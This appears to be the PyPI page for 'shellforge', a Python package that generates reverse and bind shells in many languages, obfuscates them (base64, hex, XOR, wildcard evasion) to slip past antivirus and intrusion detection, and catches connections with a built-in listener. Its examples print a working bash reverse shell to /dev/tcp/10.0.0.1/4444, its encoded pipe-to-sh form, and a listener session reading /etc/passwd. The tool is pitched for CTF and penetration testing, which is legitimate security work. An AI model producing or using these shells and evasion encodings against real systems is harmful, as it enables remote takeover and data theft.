shellforge
Reverse shell generator, payload encoder, and listener for CTF competitions and penetration testing. Generate reverse shells in 16+ languages, encode/obfuscate payloads, and catch shells with the built-in listener.
Install
pip install shellforge
Quick Start
from shellforge import ShellGenerator, ShellType
# Generate a bash reverse shell
gen = ShellGenerator("10.0.0.1", 4444, ShellType.BASH)
print(gen.generate())
# bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Generate all languages at once
all_shells = gen.generate_all()
for lang, shell in all_shells.items():
print(f"{lang}: {shell}")
All Shell Types
from shellforge import ShellGenerator, ShellType
gen = ShellGenerator("10.0.0.1", 4444)
# Pick your poison
print(gen.generate()) # default: bash
# Python 3
gen = ShellGenerator("10.0.0.1", 4444, ShellType.PYTHON3)
print(gen.generate())
# PowerShell
gen = ShellGenerator("10.0.0.1", 4444, ShellType.POWERSHELL)
print(gen.generate())
# Netcat (mkfifo)
gen = ShellGenerator("10.0.0.1", 4444, ShellType.NC_MKFIFO)
print(gen.generate())
# Socat (full TTY)
gen = ShellGenerator("10.0.0.1", 4444, ShellType.SOCAT)
print(gen.generate())
# Node.js
gen = ShellGenerator("10.0.0.1", 4444, ShellType.NODEJS)
print(gen.generate())
Encoding & Obfuscation
gen = ShellGenerator("10.0.0.1", 4444, ShellType.BASH)
# Base64 encoded
print(gen.generate_encoded("base64"))
# echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | sh
# Hex encoded
print(gen.generate_encoded("hex"))
# URL encoded
print(gen.generate_encoded("url"))
# XOR encrypted
print(gen.generate_encoded("xor"))
# Double base64
from shellforge.encode import Encoder
enc = Encoder(gen.generate())
print(enc.double_base64())
# Wildcard evasion
print(enc.wildcard_evasion())
Built-in Listener
from shellforge import ShellListener
# Start listener
listener = ShellListener("0.0.0.0", 4444)
listener.start()
# Commands once connected:
# shell> whoami
# shell> id
# shell> cat /etc/passwd
# shell> exit
Bind Shell
from shellforge.shells import bind_shell, ShellType
# Generate bind shell payloads
print(bind_shell(4444))
print(bind_shell(4444, ShellType.PYTHON3))
CLI Usage
# Generate all shells for an IP
shellforge --lhost 10.0.0.1 --lport 4444 --all
# Generate specific shell
shellforge --lhost 10.0.0.1 --lport 4444 --type python3
# Generate encoded
shellforge --lhost 10.0.0.1 --lport 4444 --encode base64
# Start listener
shellforge --listen --lport 4444
Languages Supported
| Language | Type |
|---|---|
| Bash | /bin/sh reverse shell |
| Python | Python 2 reverse shell |
| Python 3 | Python 3 reverse shell |
| Perl | Perl reverse shell |
| Ruby | Ruby reverse shell |
| PHP | PHP reverse shell |
| Netcat | nc -e |
| Netcat (fifo) | Named pipe technique |
| PowerShell | Windows PS reverse shell |
| CSH | C shell |
| ZSH | Z shell |
| Java | Java Runtime exec |
| Node.js | Node.js net socket |
| Socat | Full TTY shell |
| Wget/Curl | Download and execute |
Requirements
- Python >= 3.10
- No external dependencies
Use Cases
- CTF competitions: Quickly generate shells for any language
- Penetration testing: Encode payloads to evade AV/IDS
- Bug bounties: One-liner shells for limited input vectors
- Security training: Learn reverse shell techniques across languages
Donate
If this won you a CTF or saved a pentest:
- PayPal: bill.jtrammell@gmail.com
- Cash App: $slauter99
License
MIT
Metadata
Release files for shellforge 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| shellforge-0.1.0.tar.gz | 9.0 kB | Without provenance | Details for shellforge-0.1.0.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| shellforge-0.1.0-py3-none-any.whl | Python 3 | none | any | Details for shellforge-0.1.0-py3-none-any.whl |
Total release size: 18.0 kB
Release files / shellforge-0.1.0.tar.gz
| Download URL | shellforge-0.1.0.tar.gz |
|---|---|
| Size | 9.0 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
cc023cfb5ddc656182ac88d1e0a8a5cf87c70458307396d7a931148b03fa937c
|
|
BLAKE2b-256 checksum How to use checksums |
664fb79215f226afe22f84edb2ca34e0efa8fcbe09ed193140f4070c186286ae
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.13.5
|
Release files / shellforge-0.1.0-py3-none-any.whl
| Download URL | shellforge-0.1.0-py3-none-any.whl |
|---|---|
| Size | 9.0 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
f8f5fb3fbfecf311df3bcaba70589d7a3fe7c615fe640fcb3e43045e72f37a73
|
|
BLAKE2b-256 checksum How to use checksums |
508394482d3c5488fd01d0012b61452ac2c149cdf4a8a5f17845baf43629ac84
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.13.5
|
Security for shellforge 0.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.